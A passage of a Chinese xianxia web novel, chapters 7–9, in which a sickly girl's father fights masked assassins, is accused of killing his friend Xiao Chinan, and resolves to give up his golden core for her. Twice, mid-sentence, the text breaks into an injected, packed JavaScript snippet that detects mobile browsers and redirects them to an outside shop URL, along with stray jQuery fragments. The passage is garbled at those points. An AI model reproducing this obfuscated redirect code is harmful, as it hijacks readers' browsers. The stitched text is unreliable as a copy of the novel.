《我不做上神很久了》 7. 赴苍琅 怀生做了一个奇怪的梦。 她梦到了落霞寨,是尚未被阴煞之气侵蚀的落霞寨。 寨中幽鸟啾啾、潺湲淙淙,祠堂外的老树挂满了白幡,叫这本该安宁喜乐的村寨蒙上一层悲怆之意。 老树下站着个扎丫髻的小女娃,小女娃手里攥着一张红绸,正在吃力地往上攀爬。 树身粗糙的皮在她手掌刮出一道道细小的口子,她却浑不觉痛,固执地虔诚地将红绸挂上最高的树枝,同老树许愿。 她说阿爹入了林子,已许久不曾归。平安树,你帮我把阿爹找回来好不好? 小孩儿许完愿,翌日便被阿娘带离落霞寨逃命去,没等到她的阿爹归来。 那是平安树在落霞寨收到的最后一个愿。 于是平安树留在寨里,在数日后汹涌漫来的黑雾里,替她等阿爹归来。 黑雾侵蚀着它的根,万古难明的幽暗模糊了岁月,就在平安树以为它再等不下去时,东边,曾经金乌升起的地方,忽有一树拔地参天,护住了它最后一点生机。 怀生隐约知晓这是老树妖的一缕执念。 可她醒不来。梦中巨树拔地而起时,她甚至听见了一声呼唤。 半梦半醒间,她摇摇晃晃地坐起身爬向洞口,想要朝东去,朝着那棵巨树去。 宽大的衣袖被洞口冰冷的雪水洇湿,就在她半个身子即将探出树洞时,一根柔软的枝条轻轻抵住她肩膀,将她推回了树洞。 落回树洞的那一瞬间,那呼唤她的声音遽然远去。 怀生猛一激灵,从梦中醒来。下一瞬,辞婴抛出数百张符箓的画面狠狠撞入脑中,她连忙朝落霞寨的方向望去。 那里空空落落,除了落雪,什么都没有。 怔愣间,垂在树洞外的树枝莫名扭动起来,猎猎风声里传来一道熟悉的嗓音—— “怀生!” 是她爹! 怀生慌忙扒住洞口向下望,果真看到了南新酒。老树妖俨然是把他当做入侵的敌人,数十条树枝交错着抽向南新酒。 南新酒一面御剑闪躲,一面结印,七把阵剑环绕在他四周,护着他朝怀生飞来。 “别打!别打!”怀生飞快地从树洞跳出去, “这是我爹!他来,接我了!” 这话一落,挥舞得猎猎作响的枝条顿时停下,片刻后又齐齐换了方向,朝怀生伸去,柔软的树枝结成一张黑网轻轻兜住她。 怀生从树网的缝隙里探出半张脸,对御剑赶来的南新酒道: “爹,这树好,你别打。” 她说得太急,口齿不怎么清晰,但南新酒听清楚了,心内惊疑万分,迟疑片刻,终究是收了剑阵,却不敢掉以轻心。 怀生松了口气,手摸着老树的树枝,道: “老前辈,多谢你,救我。我爹来,接我了。请让我走!” 老树妖又是一默,泼墨般的枝叶被风吹得簌簌响。良久,裹成圆球的枝条松开了一个小眼,朝南新酒递过去。 南新酒忙御剑抱起怀生,想了想,冲老树妖拱身道: “多谢前辈救下小女。” 老树妖静默无言,抬起一根嫩枝拂去怀生肩上的腐叶,默默收回了所有枝条。层层叠叠的枝叶深处,有一张长长的失去颜色的红绸纸,在夜风里轻轻旋转。 怀生心中惦记着辞婴,一脱险便指向落花寨,对南新酒道: “辞婴在,落霞寨。爹,快去救他!” 南新酒当即御剑飞起, “莫急,我现在便去救他。他命牌没裂,应是无生命危险。” 怀生还是不放心,眼睛紧紧盯着落霞寨。飞剑刚出老树妖的领域不到一刻钟,突然眼前一花,两道漆黑身影踏雪而来,同时对她与南新酒出手。 怀生认出其中一人便是掳走她的面具人,另一人脸上布满了墨黑咒纹,一眼望去,犹如恶鬼。 面具人手中托着张画轴,轴面一展,一股吸力骇然袭来。 怀生只觉身上轻飘飘的,就要飞向那画轴。南新酒见状,顾不得另一名斗篷人袭来的暗箭,七把阵剑疾速列阵。 剑阵一现,那股无从抵抗的吸力顷刻消失。 面具人不慌不忙朝剑阵打出一个咒印,他旁边的斗篷人飞身上前,双手一扬,一抬刻着古朴符文的棺木兜头朝南新酒扣去。 七把阵剑方位一转,由守阵变杀阵,数十道凛然剑意朝面具人与那台棺木斩去。 斗篷人桀桀笑道: “若阁下还是四年前的南新酒,你这天星剑阵还能挡我们一时,可你早就不是四年前的你了!” 一面黑色旗子飞出,旗面迎风见长,化作一面黑布吞掉所有剑意。斗篷人五指屈成鹰爪,隔空抓住棺木,往前一推,一阵阴风从棺身涌出,化作细小的风刃重重打入剑阵内。 阵剑灵光登时黯淡下来,南新酒唇角流出一线黑血。 他神色不变,把怀生绑在身后,双掌一并,七把阵剑化一,合成一把霜色长剑。剑身闪耀着薄薄的星光,一剑斩出,磅礴剑意如高山压顶,震得面具人与斗篷人连退数步。 斗篷人面露异色: “竟还能驶出丹境大圆满的天星剑意来!不愧是天星剑的传人!” “那又如何?”面具人淡淡一笑, “他境界掉落至丹境大成,又中了你的阴风箭,这样的剑意他至多只能使出一次。” 面具人说得不错,南新酒使出那一剑后,丹田里的灵力少了一大半,只能拼命催动脚下飞剑遁逃。 面具人仿佛早猜着了一般,手中卷轴飞向半空,巨大的吸力再度落下,吸得南新酒脚下飞剑嗡嗡作响动弹不得。 这人自始至终都没对南新酒出杀招,可南新酒却是对他最为忌惮。 他冷声道: “阁下究竟是何人?” 面具人轻声一笑: “我是谁不重要。倒是你,再不束手就擒,怕是要连累你女儿与你一同死在这里了。莫要忘了,你死了,许清如的命便再也续不得了。” 这些人对他们一家都很熟悉。 怀生一瞬不错地盯着面具人和斗篷人,目光专注得像是要将这两人死死刻入脑海。 斗篷人面上咒纹缓慢蠕动,他看向怀生,阴恻恻道: “这小娃娃的眼神我不喜欢,待我捉住她后,先毁了她这双眼。” 面具人顺着看向怀生,始终含笑的眼莫名现出一丝缅怀之色: “我倒是喜欢得紧。” 曾几何时,也有人这样看着他,说不管他躲到何处,都会找到他,捉住他,再杀了他。 二人在如此关头还能谈笑风生,显然对捉住他们成竹在胸。 南新酒心知此刻只能背水一战,他怒喝一声: “爆!” 两把阵剑分别冲向面具人与斗篷人, “砰”一声炸开! 这七把阵剑乃是南新酒命剑,两把命剑一爆,他立即吐出一口血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14548834|155333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 修士斗法,只争瞬息。 南新酒强行压下伤势,继续催动飞剑遁逃。逃没一会儿,见面具人与斗篷人再度追来,正要继续爆命剑,一把长刀忽从身旁斩来,刀光凛如霜雪,竟拦住了面具人与斗篷人。 南新酒抬目望去,便见身着靛蓝道袍的萧池南从纷纷扬扬的大雪里行出,对他道: “南师兄,你们先走,我来拦下他们!” 南新酒眸光微动: “萧师弟——” “快走!”萧池南接住被打回的长刀,横刀一劈,道, “有朱运在,我不会有事!” 朱运是萧家长老,也是萧池南的伴刀,修为已臻丹境大成,有他与丹境大圆满的萧池南联手,的确是能与面具人打个旗鼓相当。只要能拖得一时半会,应御师兄他们便能赶到。 南新酒再不多言,御剑往落霞寨去。斗篷人见南新酒遁逃,欲要追去,却被面具人拦下。 “涯剑山的人马上就会到,不必追。今日既然杀不了南新酒,那我们便换个人杀。” 面具人望向手持长刀的萧池南,轻声一叹: “你真不该来。” - 从斗篷人偷袭到萧池南出现,只过了数十息。 这片刻功夫,南新酒已受了重伤。乌黑的血从他伤口汩汩流出,可他却不能停,灵力源源不断地涌入脚下飞剑。 剑行半路,忽有两道磅礴剑意,冲破浓稠的黑雾,划出令人目眩的星光。 南新酒身体一僵,不可置信地望向身后,心头涌起一股不安:天星剑意?怎会是天星剑意?这世间能使出天星剑意的,只他一人! “爹,小心!” 心神晃动的瞬间,数十只煞兽从树影里闪出,一只接一只地冲向南新酒。男人再无暇顾及其他,仓促抛出一块阵盘,把怀生牢牢护在身前。 “莫怕,爹在。” 说话间,剩余的五把阵剑毅然决然杀入兽群,一把接一把自爆。 南新酒承着命剑自爆的反噬,面色愈发颓败,乌血从他唇角涌出,把怀生身前的衣裳全都浸湿了。 她担忧道: “阿爹!” 南新酒柔声安慰她: “莫担心,都是小伤,爹会好。” 他说得云淡风轻,可血却流个不停,伤口缠着一缕缕骇人的黑气。那些黑气跟活物似的,兴奋地往他经脉里钻。 怀生看见好几绺拇指粗的黑气正在靠近南新酒心窍,她有种强烈预感,一旦被这黑气钻入心窍,她爹会有大麻烦! 她用力按着南新酒胸膛,死死盯住那几绺黑气,脑中只有一个念头:出来!都给她滚出来! 四周呜咽的风声突然一静,徘徊在南新酒心脉的黑气像是受到召唤,疯狂涌向怀生掌心。 黑气一入体,剧痛铺天盖地落下,怀生终于承受不住,双眼一闭便昏了过去。 这一日的记忆,戛然止于这一刻。 后来南新酒是如何遇见应御师伯与木槿真君,又是如何寻到辞婴,她一概不知。 再醒来时,她人已经回到南家。 她就躺在她爹娘那张柔软的床榻里,榻上除了她,还睡着一人。 小少年乌发散于湖青色枕子,面若金纸,呼吸若有似无。 怀生慢慢伸出一只手,放他鼻下,直到带着暖意的微弱鼻息从她指间拂过,方缓缓收回手。 还好,是活的。 8. 赴苍琅 天光渐亮,阴沉沉的天穹下,南家祖宅人影攒动,人声鼎沸。嘈杂声中,怀生迷糊睁眼,看见一道纤细身影掠过窗牖,推门而入。 她软声喊道: “阿娘。” 许清如素来明亮的眼眸满是疲色,眼下两团乌黑,唇色苍白。她上前抱起怀生,柔声道: “可有哪里不舒服?” 有,当然有。 心口痛,四肢痛,脑仁儿尤其痛。 可怀生没喊痛,只虚弱问道: “我没事,爹呢?” 许清如掩住眸中情绪,道: “你爹去处理一些事,很快便能回来。” “爹的伤,如何了?” 许清如没立即应答,只是抬手去抚平怀生的眉心,轻轻地道: “不必忧心你爹。你应御师伯说了,你体内阴毒爆发,伤得不比你爹轻,需得好好休养,切忌多思多虑。” 怀生此时的身体,确实虚弱,但好歹她是活下来了。 她看向床榻的另一边,问: “他呢?” 许清如想了想,如实道: “你辞婴哥哥伤了灵台,恐怕要睡些时日才能醒来。” 听着似乎伤得很重…… 怀生心头涌起难过的情绪。若他当时一直留在树洞里不离开,是不是就不会伤得这么重了? “辞婴他,会好吗?”她问。 “会好的。”许清如微微一笑, “你辞婴哥哥为了救你可是受了大罪,等他醒来后,你要待他好一些。” 怀生也知辞婴是为了引走面具人才离开的,她点点头,心说等他醒来后,她一定不会再抗拒练剑了。他笑话她时,她也不骂他了。 怀生迷迷糊糊想着,又疲惫睡去。 许清如把她放回床榻,耳边又响起了应御师兄的话—— “花了三年多的时间,方将她体内阴毒压制住。不想在桃木林呆了一夜,竟前功尽弃。眼下她体内阴毒失控,一旦反噬,恐会性命不保。” 连应御师兄都束手无策了,她的怀生这次要如何才能渡过难关? 许清如在床边坐了许久,待得怀生呼吸变得匀长,方掖好被子离开。刚一出去,便见管事慌慌张张跑来。 “学堂里那些萧家子弟忽然冲出来,说要大真人偿命!” 许清如神色一顿: “大真人可还在老祖宗那?” 管事颔首,迟疑着又道: “小真人一刻钟前也去寻老祖宗了。” 小真人南之行是临河真君玄孙,与南新酒年岁相当,是南家仅有的两位丹境真人之一。 这位自小便看大真人不顺眼,凡事总喜欢与他比个高低。偏偏不管天赋、修为还是为人,都处处被大真人压一头。此番萧池南出事,还不知小真人要闹什么幺蛾子。 此时南临河的洞府里,南之行正望着南新酒,闹起了幺蛾子: “萧池南与朱运死在天星剑意之下,他们的尸身沾满了兄长你阵剑自爆后的碎片,你还好巧不巧与他们出现在同一处。而朱运又好巧不巧在陨落时用血脉禁术传了句遗言给他儿子,言明是你下的杀手。你说他不是你杀的,谁信? “萧铭音正在冲击元婴境大圆满,听说她得知独子惨死后,差点走火入魔。外头都开始传是我们南家导了一场蹩脚戏,好一箭双雕,杀萧池南的同时还能叫萧铭音进阶失败。兄长你这回捅出来的篓子实在不小啊,老祖宗年纪大了,你就让他省点心成不成?你可是涯剑山承影峰的亲传,怎生不去找你的宗门替你出头?再说了,你从前不是一心要萧、南两家冰释前嫌的么?你且看看萧家可会感激你这些年的付出。” 他一口一个兄长,面上却无半点恭敬之情。 南新酒低低咳了几声,压下喉头的腥甜,望着南临河与南之行郑重道: “一会我便亲自将萧师弟和朱师弟的尸身送回萧家,届时我自会与萧家解释,绝不叫家族与萧家再起风波。” 南临河是南家唯一的真君,年已近八百岁,被南家人称作老祖宗。他面容清癯,两鬓染霜,颌下留有几缕长须,瞧着很是仙风道骨。 便听他道: “你今日去桃木林之前,可是见过萧池南?” “是,清如四年前被袭之事,萧师弟查到一些线索,约了我去平安街。”南新酒道, “只可惜我与他刚一碰面,未及交谈,怀生便出了事。” 南临河淡淡道: “我不是说过清如的事牵扯太深不宜再查,你为何不听?今日你若没去见萧池南,又岂会连女儿被掳都不知,还捅出这么大的篓子来?” 南新酒闻言,神色一正,道: “老祖宗莫非也认为是我杀了萧池南?” 南临河摇头: “你既然喊我一声老祖宗,我怎会不知你的脾性?你若要杀萧池南,必是堂堂正正地杀,定不会使阴谋诡计。但我信你,萧家人可会信你?萧池南乃萧家下一任家主,又是铭音真君唯一的儿子。铭音真君——” 他话音忽然一顿,望了南之行一眼,道: “你先出去。” 又来了。 南之行勾起个讥讽的笑意。每次说到些什么紧要事,都要支走他,也不知谁才是他真正的血脉。 他拂袖离去。 待得他的背影消失在门外,南临河方接着道: “你弟弟虽出口无状,但萧家之事他却说得有理。如今萧家人认定了是你杀了萧池南与朱运,又兼之铭音真君进阶失败,叫有心人钻了空子,都说是我南家自策自演,倒叫我南家百口莫辩。” 南新酒道: “老祖宗想要我如何做?” 洞府内一时无言。 南新酒心知南临河既然留他在这,定然是有了应对,便又道: “老祖宗但说无妨。” 南临河这才续道: “如今之计,只能我以心头精血为引,对你行搜魂之术,将你在桃木林中的记忆引至魂梦石,好叫铭音真君一观,解两家的误会。届时我会请何掌门替我护法,定不会伤及你灵台。何掌门德高望重,有他做个见证,萧家再是不服也无话可驳。” 搜魂术乃禁术,此术惊险万分,被搜魂之人轻则伤及灵台,重则陨落。但血脉亲人以心头精血为引所行的搜魂术,却能将伤害降至最低。施术者修为越高,伤害便越低。 南临河所说之法的确是眼下最好的解决之道。 南新酒却叹了一声,道: “非我不愿,老祖宗愿以心头精血解新酒之困,新酒感激不尽。只是清如出事当日……我在灵台里落下同命咒后,便请师尊替我自封了灵台。” 灵台一封,便能彻底将他与许清如的同命咒印牢牢封印,至死方能解。只是这样一来,他的修为终身不得寸进。且许清如一死,他也活不了。 灵台一封,便再不能行搜魂之事。 当初南新酒用禁术与许清如共命,南临河与涯剑山几位真君皆是知晓的,但南临河今日方知他居然自封了灵台。 一时间难掩怒容,沉下声音喝道: “糊涂!你是木河南家的大真人,你将你的家族与南家的传承置于何地了?竟连一条后路都不留!这万年来,南家一日日衰弱,萧家一日日鼎盛。南家早已斗不过萧家!你既罔顾家族,今日之事,凭何要家族为你出面?你想要南家为你牺牲多少条无辜性命?!” 南新酒面露歉意,认认真真一拱身,道: “老祖宗骂得对,是我罔顾了南家。萧家之事,自有我一力承担。若事无转圜,新酒愿……自请除名于南家,绝不连累家族。” - 那厢南之行一出南临河洞府,便有人迎上来,巴巴问道: “小真人,老祖宗可会为大真人出面?外头那群萧家人越闹越不像样了!” 正是南家的执事长老莫如崖。 南之行冷笑道: “兄长就是老祖宗的心肝宝贝,祖传的天星剑给了他,还送他进涯剑山做真君亲传,老祖宗怎舍得把他送去萧家受委屈?” 这话莫长老可不敢接。一整个南家,也就这位敢说老祖宗的不是。 莫如崖揩走额上冷汗,一宿不曾饮水,他声嗓沙哑得几欲冒火: “既如此,我便放心了。老祖宗若肯为大真人出面,萧家与南家应当不会再起干戈了罢?外头的萧家弟子都在嚷着要大真人出来以死谢罪。” 今非昔比,南家如今便只得一位真君两位真人,真要跟萧家起干戈,恐怕要被压着打了。 南之行冷哼: “打便打。他萧家说是谁杀的,那便是谁杀的?真当我南家怕他们不成?外头那些萧家小子若敢再骂,我亲自将他们‘送’回萧家!当年要不是南新酒允他们来南家学阵法,他们今日哪能站在我南家地盘骂我南家人!我们南家与萧家争斗数万年,当初就不该做什么冰释前嫌的努力!” 莫长老赶忙闭嘴,唯恐推涛作浪惹来祸端。 平素就数这位骂大真人骂得最大声,但也数他最护大真人的短。除了他,谁都不能骂大真人。惹毛了他,那是真干得出以大欺小的事! 莫长老抬起袖子又擦了把冷汗,远远瞥见南新酒的身影,忙唤了声: “大真人!” 这声“大真人”一落地,南之行脸上的怒色立即云消雾散,又换上一张冷冰冰的讥诮脸。 南新酒见他在此,略感意外,道: “可是有话要说?” 南之行抛去一个玉瓶,依旧一副没好气的语气: “极品碧玉丹。赶紧吃了,免得萧家那些混账来,你一个都打不过,丢我南家人的脸!” 如今的苍琅界灵气匮乏,极品丹药一颗难求。似碧玉丹这样的疗伤圣药,更是稀罕。 这么颗金贵丹药,南之行跟丢石头似的,丢完就要抬脚走。 南新酒唤他: “阿行。” 南之行不耐烦地侧过头: “这药你爱吃不吃,我只是为了不丢南家的脸才施舍你这么一颗!” 南新酒浅笑道: “萧师弟与朱师弟因救我而死,此事,终究是我欠了萧家。你莫要与萧家人起冲突,一切都交予我处理。你停在丹境大成的时间着实不短,该好生闭个关,努力冲击丹境大圆满了。” 南之行微微一怔。 他只比南新酒小三岁,幼时不管是剑道入门还是阵法初解,皆是他这位兄长手把手地教。那时他这兄长便喜欢如方才那般,谆谆教导他好好修炼,总把他当个长不大的小孩儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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南家与萧家虽世代不和,但南新酒与萧池南却曾是惺惺相惜的挚友。二人皆是光风霁月之人,因着他们的努力,南家与萧家二十年前便开始像旁的修仙家族一样,互送子弟到对方宗族就学。 他与萧师兄的这一份交情,叫不少南家人心存不满,就连南之行都因而与他割袍。 然二人的这份交情却因许清如遇袭一事,止于四年前。 四年前,就在不周山开山门的前三月,她在许家故居遇袭,几乎一尸两命。遇袭那日,正是萧池南一封剑书,把南新酒叫离了许家。 彼时萧池南是唯一知晓许清如夫妻身在何处的人。许清如出事后,她闯不周山的名额便落在了同为涯剑山弟子的萧池南身上。 但萧池南却放弃了闯不周山的机遇,销声匿迹了整整四年。 许清如昨日方知,原来他也在查当年之事。 “我在此处等你,便是要叫你无后顾之忧。”她看着南新酒,温声道, “萧师兄之死,可是与四年前的事有关?那些人杀他,究竟是意外,还是因他真的查到了线索?” 南新酒沉下眉眼: “尚不知是否有关。但昨日与我交手的其中一人,我总觉着熟悉,很像涯剑山的一个人。” “何人?” “炎师兄。” “炎师兄”三个字落地,空气肃然一静。 许清如克制着心中的惊涛骇浪,压低声音道: “炎师兄?万仞峰消失了两百年的那位?” 南新酒缓缓点头: “此事我已禀告掌门师伯。” 许清如两道柳眉蹙起。 那人若当真是“炎师兄”,怎敢出现在中土大陆?他可是涯剑山弟子人人得儿诛之的罪人。 想到这里,许清如心中一叹,道: “要不是为了给我续命,你也不必受此重伤,还叫他逃了。终究是我连累了你。” 南新酒伸手抚平她眉梢, “说什么傻话。要不是嫁了我,你四年前便不会遇袭。你可有怨过我?” 许清如白了他一眼,正欲开口,忽听一道声音慌慌张张闯入了碑堂—— “不好了,大真人!萧家来人了!是……是铭音真君!” - 继任家主与家族长老惨死于南家驻地外的桃木林,萧家会来人实在无可厚非,但没人想到会是差点走火入魔的铭音真君亲自来,还会来得这样快! 将将回到南临河洞府的南之行得知此事,面色一沉,抓起苍月剑就要出门应敌。 南临河略一挥手,一道锁灵绳轻轻捆住了他。 “南家子弟留守原地,不可擅出南家地域。”他拿出传音符,淡声吩咐道。 这一声令下,所有南家的子弟都不得出去。 南之行大怒: “老祖宗,萧家真君无帖自来,这是在打我南家的脸!” 南临河道: “两炷香前,铭音真君已与我传音,称要亲自来木河郡取萧池南与朱运的遗体。” 南之行道: “您既不许南家子弟出门,何人能将遗体送出去?” 南临河淡看他一眼,道: “你兄长已自请出南家,非南家子弟。萧池南二人的尸身,自有他送。” 南之行神色大变,急道: “萧家人惯不讲理,萧铭音尤甚!您让兄长一人独面萧铭音,岂不是叫他去送死?!” 南临河没应话,转眸望向窗外,微垂的眼睫在眼底落下一片阴影。 9. 赴苍琅 急风舞雪,南家大门外,拓刻着“南”字的宗族碑石覆着厚厚一层落雪。碑石之上,一辆金碧辉煌的辇车浮于半空,辇车两侧,无数白幡在风涛中猎猎飘扬。 整个南家静得落针可闻。直到厚重的大门“吱嘎”一响,方有一道挺拔的身影从门后行出,跟在他身后的,是两具桐木棺椁。 南新酒抬头望着辇车内隐约立着的人影,拱手行了个晚辈礼,道: “晚辈南新酒,见过真君。昨夜——” 辇车内的人并不准备给他说话的机会,他话音刚起,便有两道灵光同时从辇车激射而出,一道灵光将南新酒身后的两具棺木浅浅一摄,抓入车内。 另一道灵光以拔山扛鼎之势直取南新酒面门,竟是道威压极重的刀光。 南新酒不妨萧铭音竟会不由分说便动手,身体本能地要躲开。然电光石火间,他想起了躺在棺椁中的萧池南。 目光一沉,他双腿钉在原地,正要生受这一刀,腰间忽然白光一亮。 一把半掌大的雪白小刀凭空飞出,化作漫天霜雪挡住那道刀光。刀光劈开雪幕,去势渐缓,再落在南新酒身上时,只余半刀之威。 然元婴境大成的半道刀意,犹如雷霆霹雳,岂是本就重伤的南新酒能硬扛的? 男人被刀光撞得倒飞,摔入雪地,当即便喷出一大口血,面色迅速衰败下来。 雪色小刀拦下半道刀意后,发出一声哀鸣,与南新酒同时摔落在地。 看着地上那柄灵光尽失的小刀,萧铭音与南新酒皆是一愣。 那是萧池南的刀。 云山萧家以炼器之术名扬苍琅,四年前,萧池南便是为了给南新酒送上这把小刀,方会约他相见。 “此乃愚弟为怀生小侄所炼,里头藏有一道我的刀意,可抵元婴一击。” 南新酒本是要将这把小刀作为萧池南的遗物,归还他的养女萧若水。不想铭音真君的一刀,竟会让它自动护主。此刻刀意一散,刀身灵光湮灭,形同废铜烂铁。 辇车里,萧铭音死死盯着那把小刀,冷声道: “四年前,你道侣许清如遇袭,池南愧疚难当,宁肯放弃不周山之机,也要留在苍琅找出伤你妻儿之人,至死都在为你奔波。他想要你信他,可你疑他怨他从不肯信他,任由诸般流言泼向我萧家!南新酒,我儿之死,便是非你所为,也是因你而起!方才那一刀,乃是你欠我!” 南新酒擦去唇角的血迹,捡起小刀,踉跄着站起。 清如遇袭后,他的确不敢再信萧师弟。 那日他应邀离去,归来时妻子丹碎脉断,躺在一地血泊里。而她身旁的婴孩,他的怀生,浑身犯青,宛若死婴。 那是南新酒此生都走不出的一幕。 无数次想,若他不曾离开许氏祖地,他的妻子是否还是涯剑山令人惊艳的青霜剑?他的怀生是否不必日日被病痛折磨,每活一日都是恩赐? 他被困在这一幕里,想要找出伤他妻儿之人,想要报仇,想要血债血偿。但他没想到的是,这场悲剧不仅困住了他,也困住了萧师弟。 当年他们初入涯剑山之时,人人都在等着看他二人斗个你死我活,像他们的先辈们一样。只因他们一个姓“萧”,一个姓“南”。 彼时他们也不过是十来岁的少年,一个是萧家元婴真君的独子,未来的萧家家主。一个是南家天赋最好的子弟,天星剑诀的唯一传人。 开山门那日,萧池南就站在剑意路尽头的枫香树下,温声问他: “南师兄可愿与我一起,让南、萧二家的宿怨终止于我们这一代?” 南新酒本就无意与他一争短长,扬眉笑道: “我若说愿意,你可敢信?” 萧池南颔首: “我信,也请师兄信我。” 昔日一诺,他二人践行了数十年,渐成莫逆之交。只可惜这份交情、这份信任终究抵不住一场阴谋下的猎杀。 那一日,在他落下同命咒锁住清如的生机后,萧池南赶来了许家。他在一地鲜血里回头问了一句—— “师弟今日邀我,当真只为了送那小刀?” 萧池南面色煞白,留下两瓶丹药后便转身离去,消失在风雪里。 往后四年,再无音讯,直到昨夜。 鲜血再次从南新酒口中涌出,丹田内的金丹霍然裂出两道细痕,剧痛之下,他差点握不稳手中小刀。 “南师弟!” 雪幕里忽然飞来一人,那人未等剑落便气急败坏地往南新酒口中拍入一粒丹药,同时十指凝针,将六根冰魄般剔透的灵谡针狠狠刺入南新酒丹田处。 来人正是应御。 “萧师弟愿为南师弟寻觅真凶,那是他二人之情谊。萧真君若要因此将萧师弟之死归咎于南师弟,未免有失偏颇。涯剑山的剑书想来真君也收到了,萧师弟与朱师弟究竟死于何人之手,自有涯剑山律令堂调查。真相未出,南师弟便不欠你或是欠萧家!萧真君适才一刀,实在无理。分明是在以大欺小!萧家脸面莫非是不要了?!” 萧铭音凝眸看向来人,冷冷一笑: “这便是涯剑山的态度?” “涯剑山是何态度,萧真君何不等律令堂来人了,再亲自问?现在站在这里的乃是庆阳郡应御,非涯剑山棠溪峰亲传。真君若心有不满,只管给我也劈上一刀!庆阳郡应御,拔剑相待!” 应御挡在南新酒身前,望着半空中的辇车冷声应答,清俊的眉眼隐有怒火。 萧铭音冷哼一声: “庆阳应家是何态度我不管,我只管涯剑山的态度!若涯剑山胆敢偏颇杀害同门之人,我萧家自此脱离涯剑山!” 话音落,半空中精美绝伦的辇车金光一振,化作一道遁光,往云山郡飞去。 南新酒望着渐渐远去的辇车,压住喉头腥甜,朗声道: “师弟曾与晚辈说过,要合我二人之力一解萧、南两家数万年来的宿仇,以期纷争不起,携手共渡苍琅浩劫。今日晚辈已自请出族,再不是木河南家的子弟。还望真君莫因师弟之陨、新酒之失而迁怒南家。” 男人赤诚的声音穿雪而来,萧铭音却恍若未闻。 在她身后,身披素麻、面容青涩的小女孩忍不住问她: “你为何不杀他?为何不为阿爹报仇?” 萧铭音回头看她: “作为族长,我不能让萧家沦为整个苍琅界的笑话。萧家是涯剑山的附属世家,你爹是涯剑山弟子,若他当真杀了你爹,自有涯剑山律令堂的人出面。” 小女孩听罢,面无表情地抱起身侧长刀,遥遥望向大雪里的两道人影,道: “那日后便由我来杀他。他若已死,我便杀他心爱之人。我不怕沦为笑话。” 萧铭音并未因她这话动怒,转身步入辇车里唯一一间静室。 静室里数个法阵横立,中间陈着一具桐木棺椁,萧铭音行至棺椁旁,推开棺盖,垂眼望着躺在里面的萧池南。 长久的沉默后,她道: “死的人本不该是你。若不是你非要刨根究底,非要将你的猜测说与南新酒知,今日你本可活着!你太愚蠢,太令我失望了,池南!你是萧家人,却连死了都在忤逆我!方才那一剑,便有你的刀意相护又如何?我还是震碎了他的金丹,他依旧活不久!” - 鲜血滴滴答答落入雪地,像是红梅枝头随风殇落的花瓣。 南新酒撑着剑缓缓跌落于地。 应御急忙往他嘴里又拍入几粒丹药,道: “你都不是南家人了,对这么个遇事只会将你推出来挡祸的家族,你操什么心?” 南新酒摇一摇头,苦笑道: “师兄今日实不该来,新酒不愿家族陷入两难,同样也不愿宗门被逼着做取舍。” 他是涯剑山的弟子,萧师弟亦是。南家是涯剑山的附属世家,萧家亦是。今日之事,涯剑山一旦插手,恐会惹人诟病。 应御板起一张棺材脸: “真以为宗门会跟南家一样,弃你于不顾?辛觅师姐在前往桃木林之前,便已给萧家发了剑书。谁能想到萧铭音竟会趁机伤你!你同我说实话,师尊给我的那封剑书,是不是你捏造的?” 他的语气十分笃定。 南新酒道: “掌门师伯的确发来剑书,叫木槿师叔护送辞婴回涯剑山。” 应御冷笑: “所以你便趁机把我也一并诓走?你父女二人身受重伤,师尊怎可能会在此时将我唤走?你可知你现在是何情形?” 他一面说一面将刚凝出的灵谡针扎入南新酒的丹田。 “四年前你以丹境大圆满的修为施下同命咒,本可与许师妹共命五十载。昨夜你自爆命剑,伤重难支,境界从丹境大成掉落至丹境小成,五十载已缩短为二十载。今日你硬承萧铭音半刀,金丹裂痕已现,便是有我及时用灵谡针稳住,也难保你金丹不碎。金丹一碎,你连筑基境的修为都未必能保,届时你与许师妹怕是一载时光都成奢望。” 应御越说越觉窝火,南新酒却是神色平静,像是早就在等着今日了。 “师兄可保我这颗金丹多久不碎?” “若你别再作死,随我回丹谷疗伤,约莫能保十五日。这十五日,我和阿姐会竭力为你寻到保住金丹的法子。” “还能有十五日。”南新酒提唇一笑,“足矣,新酒再不敢多求。如今便只得一愿,还望师兄助我。” “说罢,你要我如何助你?” “师兄可知融丹开灵之术?” 南新酒道,“师尊曾与我说过,此术乃应家一位先祖为后辈子孙所创。虽后来被列为禁术,数万年来难见记载。但师兄是灵谡针的传人,想来通晓此术。” 应御面色微微一变。 他当然知晓融丹开灵术。 这世间无仙缘之人不知凡几,融丹开灵术便是能替这些无缘之人强开仙缘的术法。 此术面世之初,便有不少金丹散修被人掳走,只因大宗大族的一些大能为了血脉后辈能修仙,强行杀人夺丹。 如此倒行逆施,自是刚面世便被列为禁术,只有创造此术的庆阳应家尚有记载。 应御瞬间便明白了南新酒话中之意,他匪夷所思道:“你是想……用你这颗金丹,为南怀生强行开窍?你疯了不成!可知你会因此而死?!” 南新酒泰然一笑:“我在自封灵台之时,便已想到了今日。若境界掉落至筑基境前,能得老天垂幸,怀生能自行开窍,那我与清如便伴她左右,直至寿命终了。若天不遂人愿,那便用我这颗金丹替她强开仙缘。” 他早已做好了为怀生融丹开灵的准备,只他没料到,这一日会来得如此快。他本以为他便是没有足够的时日替清如报仇,也能有足够的时日陪怀生长大。 终究是命运难测。 作为父亲,无论如何,他都要为他的怀生争一争。即便只有一线生机,他也要去争! 南新酒冲应御重重一拜: “新酒心意已决,还望师兄成全。” - 寒风萧瑟,枝头一片沾雪的黄叶被风卷下,许清如伸手接住那片生机殆尽的枯叶,垂目望了许久。 身后脚步声渐近,她回头,看见半个时辰前才离去的男人,鬓边的白发又添了不少,唇角衣裳沾满了血污。 南新酒眉梢眼角皆是歉意,对她道:“清如,我恐怕无法为你报仇了。那一日,到了。” 